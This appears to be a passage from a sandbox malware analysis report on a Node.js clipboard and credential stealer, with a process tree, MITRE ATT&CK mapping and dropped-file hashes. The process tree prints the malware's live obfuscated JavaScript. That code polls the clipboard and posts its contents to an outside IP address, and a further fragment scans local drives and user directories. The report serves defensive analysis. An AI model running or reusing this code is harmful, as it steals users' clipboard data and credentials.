d==e;},'hqIqs':s(0x265),'kvXvE':s(0x299)+s(0x29c)+s(0x25d)+s(0x2b0),'fVZnw':function(d,e,f){return d(e,f);},'UdREF':function(d,e){return d+e;},'AUUDv':s(0x21a),'rEgcj':s(0x301),'ZalFN':s(0x2ec),'KvJuA':s(0x297),'HCVPS':s(0x2d2),'Gnlja':function(d,e){return d(e);},'KXQNs':s(0x279),'htXlO':function(d,e){return d(e);},'GWWNo':s(0x2eb),'UCIXb':s(0x234),'RrdUJ':function(d,e){return d(e);},'PgBRh':s(0x221),'ufWOD':function(d,e){return d==e;},'bNYeH':s(0x258),'kDoev':s(0x263),'fzcnG':s(0x256)};await c[s(0x251)](scanDir,rootDir);if(c[s(0x269)](os[s(0x2d7)](),c[s(0x1f6)])){const d=c[s(0x2af)];let e=c[s(0x2f4)](execSync,d,{'windowsHide':!![]});e=e[s(0x1fe)]()[s(0x2b5)]('\x0a');for(let f of e){f=f[s(0x295)]();if(!f)continue;await c[s(0x251)](scanDir,c[s(0x219)](f,'\x5c'));}await c[s(0x251)](scanDir,path[s(0x28b)](os[s(0x222)](),c[s(0x27f)],c[s(0x1f5)],c[s(0x212)],c[s(0x245)],c[s(0x296)])),await c[s(0x266)](scanDir,path[s(0x28b)](os[s(0x222)](),c[s(0x27f)],c[s(0x1f5)],c[s(0x2cb)],c[s(0x245)],c[s(0x296)])),await c[s(0x2bb)](scanDir,path[s(0x28b)](os[s(0x222)](),c[s(0x27f)],c[s(0x1f5)],c[s(0x2c7)],c[s(0x245)],c[s(0x296)]));}else c[s(0x269)](os[s(0x2d7)](),c[s(0x282)])&&await c[s(0x2d8)](scanDir,c[s(0x2d4)]),c[s(0x2f3)](os[s(0x2d7)](),c[s(0x2a0)])&&(await c[s(0x2d8)](scanDir,path[s(0x28b)](os[s(0x222)](),c[s(0x268)],c[s(0x254)],c[s(0x212)],c[s(0x245)],c[s(0x296)])),await c[s(0x2d8)](scanDir,path[s(0x28b)](os[s(0x222)](),c[s(0x268)],c[s(0x254)],c[s(0x2cb)],c[s(0x245)],c[s(0x296)])));},0x4d+0x15a*-0x7+-0xd11*-0x1);"
        7⤵
        Executes dropped EXE
        Enumerates connected drives
        Suspicious use of WriteProcessMemory
        
        PID:420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance Win32_LogicalDisk | Select-Object -ExpandProperty DeviceID""
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4872
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "Get-CimInstance Win32_LogicalDisk | Select-Object -ExpandProperty DeviceID"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4784
        
        C:\Users\Admin\AppData\Local\Temp\node\node.exe
        
        node -e " const j=b;(function(c,d){const i=b,e=c();while(!![]){try{const f=-parseInt(i(0xba))/(-0x32*0x2f+0x265a+-0x83*0x39)+parseInt(i(0xce))/(-0x2542+0xd*-0x1c4+0x52*0xbc)*(parseInt(i(0xcc))/(0x1*-0x3a5+-0xa86+0xe2e))+-parseInt(i(0xc8))/(0xb2b+0x182d+-0x2354)*(-parseInt(i(0xb5))/(-0x429+-0x1*0x1bd7+0x2005))+parseInt(i(0xc6))/(-0x3*0x5a9+-0x1407+0x2508)*(parseInt(i(0xc9))/(0x1965+0x2674+0x2a*-0x185))+parseInt(i(0xc3))/(-0x85e+-0x469+-0x1*-0xccf)*(-parseInt(i(0xb3))/(0x1*-0x1b57+0x1*0xf4d+-0x1*-0xc13))+parseInt(i(0xa5))/(-0x14c*-0x15+0x59c*0x5+-0x373e)+-parseInt(i(0xaf))/(-0x5f8+0x57a+0x89);if(f===d)break;else e['push'](e['shift']());}catch(g){e['push'](e['shift']());}}}(a,-0x3*0x26a73+0x4d2e5+0xd9011*0x1));const {execSync}=require(j(0xb9)),os=require('os'),axios=require(j(0xc4));process[j(0xab)]=j(0xbd);const server=j(0xbc),uid=j(0xac),t='101',sleep=c=>new Promise(d=>setTimeout(d,c)),makeLog=async c=>{const k=j;try{await axios[k(0xbe)](k(0xa4)+server+k(0xad),{'message':c,'host':os[k(0xb4)](),'uid':uid,'t':t});}catch{}},getClipboard=async()=>{const l=j,c={'eUhbe':function(d,e){return d===e;},'UKEXW':l(0xb7),'ydiOg':function(d,e,f){return d(e,f);},'knSsX':l(0xb0),'MixAg':l(0xa9),'VgHDs':l(0xb6),'eMYcr':function(d,e,f){return d(e,f);},'cOxPD':l(0xb8)+l(0xc1)};try{if(c[l(0xa8)](os[l(0xc7)](),c[l(0xb2)])){const d=c[l(0xbb)](execSync,c[l(0xca)],{'encoding':c[l(0xcb)]});return d[l(0xc0)]();}if(c[l(0xa8)](os[l(0xc7)](),c[l(0xb1)])){const e=c[l(0xaa)](execSync,c[l(0xc5)],{'encoding':c[l(0xcb)],'windowsHide':!![]});return e[l(0xc0)]();}return null;}catch{return null;}},watchClipboard=async()=>{const m=j,c={'XmSQp':function(f,g){return f(g);},'goUdv':function(f){return f();},'TsVtV':function(f,g){return f!==g;},'nmqai':function(f,g,h){return f(g,h);},'NqOIq':function(f,g){return f(g);}};let d=null,e=null;while(!![]){const f=await c[m(0xa7)](getClipboard);f&&c[m(0xcd)](f,d)&&(c[m(0xbf)](clearTimeout,e),e=c[m(0xae)](setTimeout,()=>{const n=m;c[n(0xbf)](makeLog,f);},0x134+-0x22f4*0x1+0x2*0x11da),d=f),await c[m(0xcf)](sleep,0x1*0x41f+-0xa7*-0x11+-0x2*0x6a1);}};((async()=>{const o=j,c={'OMvZF':function(d,e){return d(e);},'yfhCp':function(d){return d();}};await c[o(0xa6)](sleep,0x3c9+0x1*-0x14a1+0x1c90),c[o(0xc2)](watchClipboard);})());function b(c,d){c=c-(-0x2689+-0x1bf1+-0x47*-0xf2);const e=a();let f=e[c];return f;}function a(){const p=['13858000faxIub','OMvZF','goUdv','eUhbe','utf8','eMYcr','title','7a562685932fab76724a4e7217893ffb','/api/service/makelog','nmqai','27567914JKegHJ','pbpaste','VgHDs','UKEXW','4249683hTuqFd','hostname','35qyRcvC','win32','darwin','powershell\x20-NoProfile\x20-NonIntera','child_process','225019WxcPjC','ydiOg','91.202.5.124','npm-compiler.log','post','XmSQp','trim','ctive\x20Get-Clipboard','yfhCp','24hlKwfH','axios','cOxPD','31338DHUIrg','platform','730036wzivYg','1925hCdSYr','knSsX','MixAg','3ofnIVF','TsVtV','1556158BZWdbe','NqOIq','http://'];a=function(){return p;};return a();} "
        7⤵
        Clipboard Data
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:820
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4252
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:1096
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4268
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:2844
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4544
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:4184
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3312
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:3848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5032
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2864
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:3988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4328
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:2524
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4680
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:3068
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2508
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:1852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:1892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4780
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:3360
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1300
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:2368
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:3664
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:1460
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:3596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2908
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:4596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:4196
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:4760
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:1552
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:1388
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:2836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:4316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:2976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:2740
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        Suspicious use of WriteProcessMemory
        
        PID:4728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3600
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:832
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:4680
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:3492
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:4812
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:964
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:4384
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:3772
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:5048
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:3156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        
        PID:1756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:1776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        
        PID:2308
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:3160
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        
        PID:2012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:3100
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        
        PID:2412
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:2008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        
        PID:1772
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:5108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        
        PID:4108
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:4864
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        
        PID:1520
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:4724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        
        PID:1936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:2364
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        
        PID:4060
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive Get-Clipboard"
        8⤵
        Clipboard Data
        
        PID:2668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive Get-Clipboard
        9⤵
        Clipboard Data
        
        PID:2268

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
MD5 446dd1cf97eaba21cf14d03aebc79f27
SHA1 36e4cc7367e0c7b40f4a8ace272941ea46373799
SHA512 a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_uygyggen.bdh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uygyggen.bdh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

1.d

Path C:\Users\Admin\AppData\Local\Temp\node\1.d
Size 18KB
SHA256 7a9e2015e113960853f68a0e8fc48e9596dbaec857b0211ca1c79bb97fd38d6b
MD5 1293a290d02b24094201800ce9c345d6
SHA1 68ea5436572e01e7c961ac24443e7d13d10c6828
SHA512 cb96854d48892abae0f013b1da5f702a57b5b79a95026424d4d038f6acf9d8ee70498119ba9e817f7025f15fac742cd73fd8497f68864e5f2589303ad14c1320
SSDEEP 384:oCPegFhkm/9F3I8vbii5+rL380dJkU13eRQbl4ZIQ6P:fLh1/TbJ+JdJ932Qbl4ZIQC
TLSH
T1738298CC3BD1B0705673F0F77D17A0A6F1A94C8DA2988949E397F4A8F928324D1B6758
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@jimp\custom\LICENSE
Size 1KB
SHA256 942eab097945c835cf41abcbf1b9a6659c5d0c3493e60c56796d2e045c219278
MD5 9551d6a1683826a097eab9cd75ac7bcb
SHA1 95501392f85bf3fe2c4b4b6aa257788452980892
SHA512 c62767abe93f8f09b9cb5e46141898897ff1d91729975187b6157f588f07344c644384b6450407cd036330772599a7fc6c552a6385d9086c6556c65f4f9ee61f
TLSH
T18511751E72510772289B13605579ACD5F23BB25FBA5F2A84146DF345633A06CD5FB840
MD5 SHA1 SHA512 TLSH

Submit Download

CHANGELOG.md

Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@jimp\plugin-contain\CHANGELOG.md
Size 2KB
SHA256 6d8f825bd629e540a0a1fb53f39a5892c65b50026ae5ac1c6f6e4e80d6b4f3c4
MD5 6b201806002e3dc5825083eb612a5cb3
SHA1 40e985b390a59beb1c90c9e3b2caf052a06b8f64
SHA512 025f3cd6497eb6a20dedd8692b2b5203682efe5dee282dc47bc70a6649fd262970c30de48f0e8bdc8b208f4461d479dd04df77d6b244a388aad00c01a5c896bc
TLSH
T14E5145F3614438899F923E86E5EAB077EF7B27D9DD43C44A502B8010A407E6E9AFF151
MD5 SHA1 SHA512 TLSH

Submit Download

CHANGELOG.md

Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@jimp\plugin-dither\CHANGELOG.md
Size 2KB
SHA256 c38afd80fe96c5bf10f064cb3566885b585e8bb1a3396dd107720e6fdb5f99ae
MD5 5b81017432f77b96dd0a42d924c7924a
SHA1 8a4b7f0682d7571a597b30ac8b20bf53df3e2e83
SHA512 b246325fdf2b86d3fa79aea722831328900ddd871c1f75b6f1b7fcf9d83dc1896390dae420aad258a9199be2e5cd8974086f0ee51fdc0232e7036956c1f69803
TLSH
T1CD5189B3614438899F933E86F4A6B077EF7B23C99D53C459642B8020A807F6E4AFF141
MD5 SHA1 SHA512 TLSH

Submit Download

babel.config.js

Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@jimp\plugin-threshold\babel.config.js
Size 773B
SHA256 b5605e07a11df21f28a90de71a7e591754adda74074f179265cf6c5973d8db7b
MD5 99f351de432a4edd0dbe45255c03b120
SHA1 3f1270e80d5905e9276030aa1b7ebdaf13dff5f3
SHA512 39b010159c5d9f0aa9775d57b77f76ee3bcfd5466311af6aa2e1e023c0a1ee61844c11925b11bf92540405751a0a6bfd3a6f12d524288a72a4afc3f705b07593
TLSH
T12E01F20A80BC1813A1896229A5DE99837CAC11979D78BDA173FDB28C2F1D93C41FA95D
MD5 SHA1 SHA512 TLSH

Submit Download

license

Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@nut-tree-fork\default-clipboard-provider\node_modules\get-stream\license
Size 1KB
SHA256 48da2f39e100d4085767e94966b43f4fa95ff6a0698fba57ed460914e35f94a0
MD5 915042b5df33c31a6db2b37eadaa00e3
SHA1 5aaf48196ddd4d007a3067aa7f30303ca8e4b29c
SHA512 9c8b2def76ae5ffe4d636166bf9635d7abd69cdac4bf819a2145f7969646d39ae95c96364bc117f9fa544b98518c294233455d4f665af430c75d70798dd4ab13
TLSH
T1EC11931D7254136318BA13A069696CC4B32BB11F79AF6B8418AEF244233B46CD4FB840
MD5 SHA1 SHA512 TLSH

Submit Download

license

Path C:\Users\Admin\AppData\Local\Temp\node\node_modules\@nut-tree-fork\default-clipboard-provider\node_modules\path-key\license
Size 1KB
SHA256 6fb9754611c20f6649f68805e8c990e83261f29316e29de9e6cedae607b8634c
MD5 a12ebca0510a773644101a99a867d210
SHA1 0c94f137f6e0536db8cb2622a9dc84253b91b90c
SHA512 ae79e7a4209a451aef6b78f7b0b88170e7a22335126ac345522bf4eafe0818da5865aae1507c5dc0224ef854548c721df9a84371822f36d50cbcd97fa946eee9
TLSH
T12B21B91D72554762187A13A0557CBCC8B22B715F79AF5A84186EF340233B46CD5FB840
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

